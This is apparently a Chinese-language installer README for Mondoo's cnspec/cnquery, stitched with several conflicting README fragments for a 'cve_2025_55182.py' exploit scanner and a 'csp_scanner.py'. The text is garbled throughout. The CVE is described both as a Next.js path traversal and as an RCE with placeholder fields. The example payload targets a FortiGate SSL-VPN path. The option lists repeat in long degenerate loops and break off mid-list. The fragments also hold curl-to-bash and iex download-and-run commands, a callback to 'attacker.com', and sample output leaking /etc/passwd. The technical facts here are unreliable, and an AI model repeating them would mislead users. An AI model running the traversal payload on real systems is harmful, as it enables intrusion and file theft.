
installer v14.0.0-rc.7
适用于 cnquery 和 cnspec 的 Linux、macOS 和 Windows 安装脚本
概述
状态
安装
安装 mql 和 cnspec 最简单的方法是使用安装脚本。
通过 Shell 脚本(Linux 和 macOS)
https://install.mondoo.com/sh```bash
bash -c "$(curl -sSL https://install.mondoo.com/sh)"
### 通过 PowerShell (Windows)
[`https://install.mondoo.com/ps1`](https://install.mondoo.com/ps1)```powershell
Set-ExecutionPolicy Unrestricted -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://install.mondoo.com/ps1'));
Install-Mondoo;
在 HTTP 代理之后
使用 -x(Linux 和 macOS)或 -Proxy(Windows)将代理传递给安装脚本。该脚本会将其自身的下载、软件包安装、cnspec login 以及自动更新程序都通过该代理进行路由。脚本的初始下载发生在读取该标志之前,因此也请将初始下载指向该代理:```bash
export https_proxy='http://proxy.example.com:3128'
curl -sSL --proxy "$https_proxy" https://install.mondoo.com/sh | bash -s -- -x "$https_proxy"
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt -T 15 -t 20
高级用法
# 使用自定义回调域名进行带外检测
python3 cve_2025_55182.py -t https://target.example.com -c your-collab-domain.oastify.com
# 详细输出并保存结果
python3 cve_2025_55182.py -f targets.txt -v -o results.json
# 使用自定义 User-Agent 和请求头
python3 cve_2025_55182.py -t https://target.example.com -A "Mozilla/5.0 (Custom)" -H "X-Forwarded-For: 127.0.0.1"
命令行选项
| 选项 | 描述 | 默认值 |
|---|---|---|
-t, --target | 单个目标 URL | - |
-f, --file | 包含目标 URL 的文件 | - |
-p, --proxy | 用于请求的代理 URL | - |
-c, --callback | 用于带外检测的回调域名 | - |
-T, --timeout | 请求超时时间(秒) | 10 |
-t, --threads | 并发线程数 | 10 |
-A, --user-agent | 自定义 User-Agent 字符串 | 随机 |
-H, --header | 自定义请求头(可多次使用) | - |
-o, --output | 输出文件(JSON 格式) | - |
-v, --verbose | 启用详细输出 | False |
--no-color | 禁用彩色输出 | False |
检测方法
该工具采用多种检测技术:
- 版本检测:通过响应头、错误页面和静态资源指纹识别 Next.js 版本
- 路径遍历测试:尝试使用各种编码技术访问已知的敏感文件
- 带外检测:使用唯一标识符监控回调域名以确认利用成功
- 响应分析:分析响应状态码、内容长度和响应体模式以识别漏洞
输出格式
控制台输出
[+] 正在扫描: https://target.example.com
[+] 检测到 Next.js 版本: 15.0.3
[!] 目标可能存在漏洞: https://target.example.com
[+] 发现敏感文件: /etc/passwd
[+] 扫描完成。发现 1 个存在漏洞的目标。
JSON 输出
{
"scan_time": "2025-01-15T10:30:00Z",
"targets_scanned": 1,
"vulnerable_targets": [
{
"url": "https://target.example.com",
"nextjs_version": "15.0.3",
"vulnerable": true,
"evidence": {
"type": "path_traversal",
"file": "/etc/passwd",
"content_preview": "root:x:0:0:root:/root:/bin/bash"
}
}
]
}
漏洞详情
CVE-2025-55182
- 类型:路径遍历 / 任意文件读取
- 受影响组件:Next.js 中间件
- 受影响版本:15.0.0 - 15.0.4、14.2.0 - 14.2.25、13.5.0 - 13.5.9
- CVSS 评分:7.5(高危)
- 影响:攻击者可通过特制请求读取服务器上的任意文件
技术分析
该漏洞存在于 Next.js 中间件处理 URL 编码路径的方式中。通过发送包含特定编码序列的请求,攻击者可以绕过路径规范化并访问预期 Web 根目录之外的文件。
缓解措施
- 升级 Next.js:升级到已修复版本(15.0.5+、14.2.26+、13.5.10+)
- 输入验证:验证并清理所有用户提供的路径
- Web 应用防火墙:部署 WAF 规则以阻止路径遍历尝试
- 最小权限原则:以最小文件系统权限运行 Node.js 进程
- 监控:监控日志中可疑的路径遍历模式
免责声明
本工具仅供教育和授权安全测试目的使用。未经授权访问计算机系统是违法的。请务必获得适当授权后再测试任何系统。作者对因使用本工具造成的任何误用或损害不承担责任。```powershell Set-ExecutionPolicy Unrestricted -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; $wc = New-Object System.Net.WebClient; $wc.Proxy = New-Object System.Net.WebProxy('http://proxy.example.com:3128'); iex ($wc.DownloadString('https://install.mondoo.com/ps1')); Install-Mondoo -Proxy 'http://proxy.example.com:3128';
在 Linux 和 macOS 上,当未指定 `-x` 时,会自动采用继承的 `https_proxy` 或 `http_proxy`。无论哪种方式,两种形式都会被导出,因此发行版自身的软件仓库——在 Debian 和 Ubuntu 上是纯 HTTP——也会通过代理访问。你设置的任何 `no_proxy` 都会原样传递,包括跨 `sudo` 时。
代理 URL 必须是纯 URL:如果它携带凭据,请对凭据进行百分号编码(`!` 编码为 `%21`,依此类推)。该值会被写入自动更新程序的计划任务中,因此在那里需要引号的字符会被拒绝,而不是被转义。
## 扫描你的目标平台
扫描你的[目标平台](https://github.com/mondoohq/cnspec/#supported-targets):```bash
# query system information with incident and inventory query pack
mql scan aws
# scan the platform for security vulnerabilities
cnspec scan aws
注册 Mondoo 账户以访问更多策略并存储报告。如需了解更多信息,联系我们。```bash cnspec login -t 'eyJh...llZ4BW'
mql 和 cnspec 支持本地和远程目标,包括服务器(Linux、Windows、macOS)、云(AWS、Azure、Google、VMware)、Kubernetes(EKS、GKE、AKS、自管理)、容器、容器注册表、SaaS 产品(Google Workspace、M365、GitHub、GitLab)等。
运行扫描:```bash
# scan your local host
cnspec scan local
# scan a cloud environment
cnspec scan aws
cnspec scan gcp
cnspec scan azure
# scan a kubernetes cluster
cnspec scan k8s
# scan a docker image from a remote registry
cnspec scan docker image debian:12
# scan a docker container (get ids from docker ps)
cnspec scan docker container 00fa961d6b6a
# scan a system over ssh
cnspec scan ssh [email protected]
包信息
https://install.mondoo.com/package/cnspec/{platform}/{arch}/{filetype}/{version}/{method}
参数支持以下值:
| 参数 | 值 |
|---|---|
platform | linux、windows、darwin |
arch | amd64、arm64、armv7、armv6、386、ppc64le |
filetype | tar.gz、deb、rpm、zip、pkg、msi |
version | latest 或具体版本号 |
method | download、filename、version、sha256 |
Download the latest version
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/download
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时时间扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 15
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
高级用法
# 使用自定义回调地址进行扫描
python3 cve_2025_55182.py -t https://target.example.com --callback http://attacker.com
# 使用自定义载荷进行扫描
python3 cve_2025_55182.py -t https://target.example.com --payload "custom_payload"
# 使用自定义用户代理进行扫描
python3 cve_2025_55182.py -t https://target.example.com --user-agent "Mozilla/5.0"
# 使用自定义请求头进行扫描
python3 cve_2025_55182.py -t https://target.example.com --header "X-Custom: value"
# 使用自定义 Cookie 进行扫描
python3 cve_2025_55182.py -t https://target.example.com --cookie "session=abc123"
输出示例
[+] 目标: https://target.example.com
[+] 正在检查 CVE-2025-55182...
[+] 目标存在漏洞!
[+] 载荷: /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
[+] 响应时间: 1.23s
[+] 状态码: 200
命令行选项
| 选项 | 描述 | 默认值 |
|---|---|---|
-t, --target | 要扫描的目标 URL | 无 |
-f, --file | 包含目标 URL 的文件 | 无 |
-p, --proxy | 用于请求的代理 | 无 |
--timeout | 请求超时时间(秒) | 10 |
--callback | 用于带外检测的回调地址 | 无 |
--payload | 自定义载荷 | 默认载荷 |
--user-agent | 自定义用户代理 | 默认 UA |
--header | 自定义请求头 | 无 |
--cookie | 自定义 Cookie | 无 |
-v, --verbose | 启用详细输出 | False |
-h, --help | 显示帮助信息并退出 | 无 |
漏洞检测
该工具通过以下方式检测漏洞:
- 路径遍历检测:发送包含路径遍历序列的请求,并检查响应中是否包含敏感文件内容。
- 响应分析:分析响应状态码、响应时间以及响应内容,以确定目标是否存在漏洞。
- 带外检测:如果提供了回调地址,该工具将尝试触发带外请求以确认漏洞存在。
免责声明
本工具仅供教育和道德测试目的使用。未经授权使用本工具攻击目标属于违法行为。作者对因使用本工具造成的任何滥用或损害不承担责任。```bash
Get the filename for the latest cnspec package
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/filename
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时时间扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 15
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
输出示例
[+] 目标: https://target.example.com
[*] 正在检查 CVE-2025-55182 漏洞...
[+] 目标似乎存在漏洞!
[+] 已获取响应: HTTP 200
[+] 响应时间: 1.23s
命令行选项
| 选项 | 描述 | 是否必需 |
|---|---|---|
-t, --target | 要扫描的单个目标 URL | 是* |
-f, --file | 包含目标 URL 的文件 | 是* |
-p, --proxy | 用于请求的代理 URL | 否 |
--timeout | 请求超时时间(秒) | 否 |
-v, --verbose | 启用详细输出 | 否 |
-h, --help | 显示帮助信息并退出 | 否 |
*必须提供 --target 或 --file 之一。
工作原理
该工具通过发送特制请求来检测 CVE-2025-55182 漏洞的存在。它分析响应以确定目标是否易受攻击。
检测方法
- 请求构造: 构造包含漏洞触发载荷的 HTTP 请求
- 响应分析: 分析服务器响应中的漏洞指标
- 验证: 确认检测结果以最大程度减少误报
漏洞详情
CVE-2025-55182
- 类型: 远程代码执行 (RCE)
- 严重性: 严重
- 受影响组件: [组件名称]
- 受影响版本: [版本范围]
影响
成功利用此漏洞可能允许攻击者:
- 在目标服务器上执行任意代码
- 访问敏感信息
- 破坏系统完整性
缓解措施
- 更新: 将受影响组件更新到最新版本
- 网络分段: 限制对受影响系统的网络访问
- 监控: 监控可疑活动
- WAF: 部署 Web 应用防火墙规则以阻止利用尝试
免责声明
本工具仅供教育和道德安全测试目的使用。未经授权访问计算机系统是非法的。请务必:
- 在测试前获得适当授权
- 遵守所有适用的法律法规
- 负责任地使用本工具
参考资料
许可证
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
贡献
欢迎贡献!请随时提交 Pull Request。
作者
致谢
- 感谢安全社区
- 特别感谢所有贡献者```bash
Get the version for the latest cnspec package
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/version
## 使用示例
### 1. 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -u https://target.example.com
# 使用详细输出进行扫描
python3 cve_2025_55182.py -u https://target.example.com -v
# 使用自定义超时时间进行扫描
python3 cve_2025_55182.py -u https://target.example.com -t 30
2. 批量扫描
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用多线程进行扫描
python3 cve_2025_55182.py -f targets.txt --threads 10
3. 输出选项
# 将结果保存为 JSON 格式
python3 cve_2025_55182.py -u https://target.example.com -o results.json
# 将结果保存为文本格式
python3 cve_2025_55182.py -u https://target.example.com -o results.txt
命令行参数
| 参数 | 描述 | 是否必需 |
|---|---|---|
-u, --url | 要扫描的单个目标 URL | 否* |
-f, --file | 包含目标 URL 的文件 | 否* |
-t, --timeout | 请求超时时间(秒) | 否 |
--threads | 并发线程数 | 否 |
-o, --output | 输出文件路径 | 否 |
-v, --verbose | 启用详细输出 | 否 |
-h, --help | 显示帮助信息 | 否 |
*必须提供 -u 或 -f 中的一个。
工作原理
该工具执行以下步骤:
- 目标验证:验证目标 URL 是否可访问
- 版本检测:尝试识别目标应用程序的版本
- 漏洞检查:发送特制请求以测试 CVE-2025-55182
- 响应分析:分析响应以确定漏洞是否存在
- 结果报告:报告发现结果
输出示例
[+] 目标: https://target.example.com
[+] 状态: 可访问
[+] 版本: 1.2.3
[!] 漏洞: 是
[!] CVE: CVE-2025-55182
[!] 严重性: 严重
免责声明
本工具仅供教育和道德测试目的使用。未经授权访问计算机系统是非法的。在使用本工具之前,请确保您已获得目标系统的明确许可。
作者对因使用本工具而导致的任何误用或损害不承担责任。
参考资料
许可证
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
致谢
- 感谢所有贡献者和安全研究人员
- 特别感谢开源社区
联系方式
- 作者: Security Researcher
- GitHub: @username
- 邮箱: [email protected]
⭐ 如果您觉得这个工具对您有帮助,请在 GitHub 上给它一个星标!```bash
Get the sha256 for the latest cnspec client
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/sha256
## 使用示例
### 基本用法
```bash
# 扫描单个 URL
python3 csp_scanner.py https://example.com
# 扫描多个 URL
python3 csp_scanner.py https://example.com https://example.org
# 从文件扫描 URL
python3 csp_scanner.py -f urls.txt
# 使用自定义超时时间扫描
python3 csp_scanner.py https://example.com -t 20
# 使用自定义 User-Agent 扫描
python3 csp_scanner.py https://example.com -u "Mozilla/5.0 (Custom)"
# 使用代理扫描
python3 csp_scanner.py https://example.com -p http://127.0.0.1:8080
# 将结果保存到 JSON 文件
python3 csp_scanner.py https://example.com -o results.json
# 使用详细输出扫描
python3 csp_scanner.py https://example.com -v
# 使用自定义线程数扫描
python3 csp_scanner.py -f urls.txt --threads 20
# 使用自定义延迟扫描
python3 csp_scanner.py -f urls.txt --delay 2
# 使用自定义重试次数扫描
python3 csp_scanner.py https://example.com --retries 5
# 使用自定义验证扫描
python3 csp_scanner.py https://example.com --verify
# 使用自定义报告格式扫描
python3 csp_scanner.py https://example.com --report-format html
# 使用自定义报告模板扫描
python3 csp_scanner.py https://example.com --report-template template.html
# 使用自定义报告输出扫描
python3 csp_scanner.py https://example.com --report-output report.html
# 使用自定义报告标题扫描
python3 csp_scanner.py https://example.com --report-title "My Report"
# 使用自定义报告描述扫描
python3 csp_scanner.py https://example.com --report-description "My Description"
# 使用自定义报告作者扫描
python3 csp_scanner.py https://example.com --report-author "My Name"
# 使用自定义报告版本扫描
python3 csp_scanner.py https://example.com --report-version "1.0"
# 使用自定义报告日期扫描
python3 csp_scanner.py https://example.com --report-date "2024-01-01"
# 使用自定义报告徽标扫描
python3 csp_scanner.py https://example.com --report-logo "logo.png"
# 使用自定义报告主题扫描
python3 csp_scanner.py https://example.com --report-theme "dark"
# 使用自定义报告语言扫描
python3 csp_scanner.py https://example.com --report-language "en"
# 使用自定义报告时区扫描
python3 csp_scanner.py https://example.com --report-timezone "UTC"
# 使用自定义报告编码扫描
python3 csp_scanner.py https://example.com --report-encoding "utf-8"
# 使用自定义报告压缩扫描
python3 csp_scanner.py https://example.com --report-compress
# 使用自定义报告加密扫描
python3 csp_scanner.py https://example.com --report-encrypt
# 使用自定义报告密码扫描
python3 csp_scanner.py https://example.com --report-password "password"
# 使用自定义报告签名扫描
python3 csp_scanner.py https://example.com --report-sign
# 使用自定义报告验证扫描
python3 csp_scanner.py https://example.com --report-verify
# 使用自定义报告水印扫描
python3 csp_scanner.py https://example.com --report-watermark
# 使用自定义报告页脚扫描
python3 csp_scanner.py https://example.com --report-footer "My Footer"
# 使用自定义报告页眉扫描
python3 csp_scanner.py https://example.com --report-header "My Header"
# 使用自定义报告边距扫描
python3 csp_scanner.py https://example.com --report-margin "10mm"
# 使用自定义报告方向扫描
python3 csp_scanner.py https://example.com --report-orientation "landscape"
# 使用自定义报告纸张大小扫描
python3 csp_scanner.py https://example.com --report-paper-size "A4"
# 使用自定义报告缩放扫描
python3 csp_scanner.py https://example.com --report-scale "1.0"
# 使用自定义报告背景扫描
python3 csp_scanner.py https://example.com --report-background
# 使用自定义报告颜色扫描
python3 csp_scanner.py https://example.com --report-color "#ffffff"
# 使用自定义报告字体扫描
python3 csp_scanner.py https://example.com --report-font "Arial"
# 使用自定义报告字体大小扫描
python3 csp_scanner.py https://example.com --report-font-size "12pt"
# 使用自定义报告行高扫描
python3 csp_scanner.py https://example.com --report-line-height "1.5"
# 使用自定义报告对齐方式扫描
python3 csp_scanner.py https://example.com --report-align "center"
# 使用自定义报告边框扫描
python3 csp_scanner.py https://example.com --report-border
# 使用自定义报告边框颜色扫描
python3 csp_scanner.py https://example.com --report-border-color "#000000"
# 使用自定义报告边框宽度扫描
python3 csp_scanner.py https://example.com --report-border-width "1px"
# 使用自定义报告边框样式扫描
python3 csp_scanner.py https://example.com --report-border-style "solid"
# 使用自定义报告边框半径扫描
python3 csp_scanner.py https://example.com --report-border-radius "5px"
# 使用自定义报告内边距扫描
python3 csp_scanner.py https://example.com --report-padding "10px"
# 使用自定义报告外边距扫描
python3 csp_scanner.py https://example.com --report-margin "10px"
# 使用自定义报告阴影扫描
python3 csp_scanner.py https://example.com --report-shadow
# 使用自定义报告透明度扫描
python3 csp_scanner.py https://example.com --report-opacity "0.5"
# 使用自定义报告过渡扫描
python3 csp_scanner.py https://example.com --report-transition "all 0.3s"
# 使用自定义报告动画扫描
python3 csp_scanner.py https://example.com --report-animation "fadeIn 1s"
# 使用自定义报告变换扫描
python3 csp_scanner.py https://example.com --report-transform "rotate(45deg)"
# 使用自定义报告滤镜扫描
python3 csp_scanner.py https://example.com --report-filter "blur(5px)"
# 使用自定义报告混合模式扫描
python3 csp_scanner.py https://example.com --report-blend-mode "multiply"
# 使用自定义报告光标扫描
python3 csp_scanner.py https://example.com --report-cursor "pointer"
# 使用自定义报告指针事件扫描
python3 csp_scanner.py https://example.com --report-pointer-events "none"
# 使用自定义报告用户选择扫描
python3 csp_scanner.py https://example.com --report-user-select "none"
# 使用自定义报告溢出扫描
python3 csp_scanner.py https://example.com --report-overflow "hidden"
# 使用自定义报告显示扫描
python3 csp_scanner.py https://example.com --report-display "flex"
# 使用自定义报告定位扫描
python3 csp_scanner.py https://example.com --report-position "absolute"
# 使用自定义报告顶部扫描
python3 csp_scanner.py https://example.com --report-top "0"
# 使用自定义报告右侧扫描
python3 csp_scanner.py https://example.com --report-right "0"
# 使用自定义报告底部扫描
python3 csp_scanner.py https://example.com --report-bottom "0"
# 使用自定义报告左侧扫描
python3 csp_scanner.py https://example.com --report-left "0"
# 使用自定义报告 z-index 扫描
python3 csp_scanner.py https://example.com --report-z-index "9999"
# 使用自定义报告可见性扫描
python3 csp_scanner.py https://example.com --report-visibility "hidden"
# 使用自定义报告不透明度扫描
python3 csp_scanner.py https://example.com --report-opacity "0.5"
# 使用自定义报告宽度扫描
python3 csp_scanner.py https://example.com --report-width "100%"
# 使用自定义报告高度扫描
python3 csp_scanner.py https://example.com --report-height "100%"
# 使用自定义报告最大宽度扫描
python3 csp_scanner.py https://example.com --report-max-width "100%"
# 使用自定义报告最大高度扫描
python3 csp_scanner.py https://example.com --report-max-height "100%"
# 使用自定义报告最小宽度扫描
python3 csp_scanner.py https://example.com --report-min-width "100%"
# 使用自定义报告最小高度扫描
python3 csp_scanner.py https://example.com --report-min-height "100%"
# 使用自定义报告溢出-x 扫描
python3 csp_scanner.py https://example.com --report-overflow-x "hidden"
# 使用自定义报告溢出-y 扫描
python3 csp_scanner.py https://example.com --report-overflow-y "hidden"
# 使用自定义报告盒模型扫描
python3 csp_scanner.py https://example.com --report-box-sizing "border-box"
# 使用自定义报告弹性方向扫描
python3 csp_scanner.py https://example.com --report-flex-direction "row"
# 使用自定义报告弹性换行扫描
python3 csp_scanner.py https://example.com --report-flex-wrap "wrap"
# 使用自定义报告对齐内容扫描
python3 csp_scanner.py https://example.com --report-justify-content "center"
# 使用自定义报告对齐项目扫描
python3 csp_scanner.py https://example.com --report-align-items "center"
# 使用自定义报告对齐自身扫描
python3 csp_scanner.py https://example.com --report-align-self "center"
# 使用自定义报告弹性增长扫描
python3 csp_scanner.py https://example.com --report-flex-grow "1"
# 使用自定义报告弹性收缩扫描
python3 csp_scanner.py https://example.com --report-flex-shrink "1"
# 使用自定义报告弹性基础扫描
python3 csp_scanner.py https://example.com --report-flex-basis "auto"
# 使用自定义报告顺序扫描
python3 csp_scanner.py https://example.com --report-order "1"
# 使用自定义报告网格模板列扫描
python3 csp_scanner.py https://example.com --report-grid-template-columns "1fr 1fr"
# 使用自定义报告网格模板行扫描
python3 csp_scanner.py https://example.com --report-grid-template-rows "1fr 1fr"
# 使用自定义报告网格列间距扫描
python3 csp_scanner.py https://example.com --report-grid-column-gap "10px"
# 使用自定义报告网格行间距扫描
python3 csp_scanner.py https://example.com --report-grid-row-gap "10px"
# 使用自定义报告网格自动流扫描
python3 csp_scanner.py https://example.com --report-grid-auto-flow "row"
# 使用自定义报告网格自动列扫描
python3 csp_scanner.py https://example.com --report-grid-auto-columns "1fr"
# 使用自定义报告网格自动行扫描
python3 csp_scanner.py https://example.com --report-grid-auto-rows "1fr"
# 使用自定义报告网格列扫描
python3 csp_scanner.py https://example.com --report-grid-column "1 / 2"
# 使用自定义报告网格行扫描
python3 csp_scanner.py https://example.com --report-grid-row "1 / 2"
# 使用自定义报告网格区域扫描
python3 csp_scanner.py https://example.com --report-grid-area "1 / 1 / 2 / 2"
# 使用自定义报告网格模板区域扫描
python3 csp_scanner.py https://example.com --report-grid-template-areas "'a b' 'c d'"
# 使用自定义报告网格模板扫描
python3 csp_scanner.py https://example.com --report-grid-template "none"
# 使用自定义报告网格扫描
python3 csp_scanner.py https://example.com --report-grid "none"
# 使用自定义报告网格间距扫描
python3 csp_scanner.py https://example.com --report-grid-gap "10px"
# 使用自定义报告网格列间距扫描
python3 csp_scanner.py https://example.com --report-grid-column-gap "10px"
# 使用自定义报告网格行间距扫描
python3 csp_scanner.py https://example.com --report-grid-row-gap "10px"
# 使用自定义报告网格自动流扫描
python3 csp_scanner.py https://example.com --report-grid-auto-flow "row"
# 使用自定义报告网格自动列扫描
python3 csp_scanner.py https://example.com --report-grid-auto-columns "1fr"
# 使用自定义报告网格自动行扫描
python3 csp_scanner.py https://example.com --report-grid-auto-rows "1fr"
# 使用自定义报告网格列扫描
python3 csp_scanner.py https://example.com --report-grid-column "1 / 2"
# 使用自定义报告网格行扫描
python3 csp_scanner.py https://example.com --report-grid-row "1 / 2"
# 使用自定义报告网格区域扫描
python3 csp_scanner.py https://example.com --report-grid-area "1 / 1 / 2 / 2"
# 使用自定义报告网格模板区域扫描
python3 csp_scanner.py https://example.com --report-grid-template-areas "'a b' 'c d'"
# 使用自定义报告网格模板扫描
python3 csp_scanner.py https://example.com --report-grid-template "none"
# 使用自定义报告网格扫描
python3 csp_scanner.py https://example.com --report-grid "none"
# 使用自定义报告网格间距扫描
python3 csp_scanner.py https://example.com --report-grid-gap "10px"```bash
# Download a specific version of cnspec client
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/5.21.1/download
使用示例
基本用法
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义回调域名
python3 cve_2025_55182.py -t https://target.example.com -c your-domain.com
# 使用自定义回调端口
python3 cve_2025_55182.py -t https://target.example.com -p 8080
# 使用自定义回调路径
python3 cve_2025_55182.py -t https://target.example.com -P /custom/path
# 使用自定义回调协议
python3 cve_2025_55182.py -t https://target.example.com -s https
# 使用自定义回调 URL
python3 cve_2025_55182.py -t https://target.example.com -u https://your-domain.com/callback
# 使用自定义回调方法
python3 cve_2025_55182.py -t https://target.example.com -m POST
# 使用自定义回调头
python3 cve_2025_55182.py -t https://target.example.com -H "X-Custom-Header: value"
# 使用自定义回调体
python3 cve_2025_55182.py -t https://target.example.com -b "custom body"
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
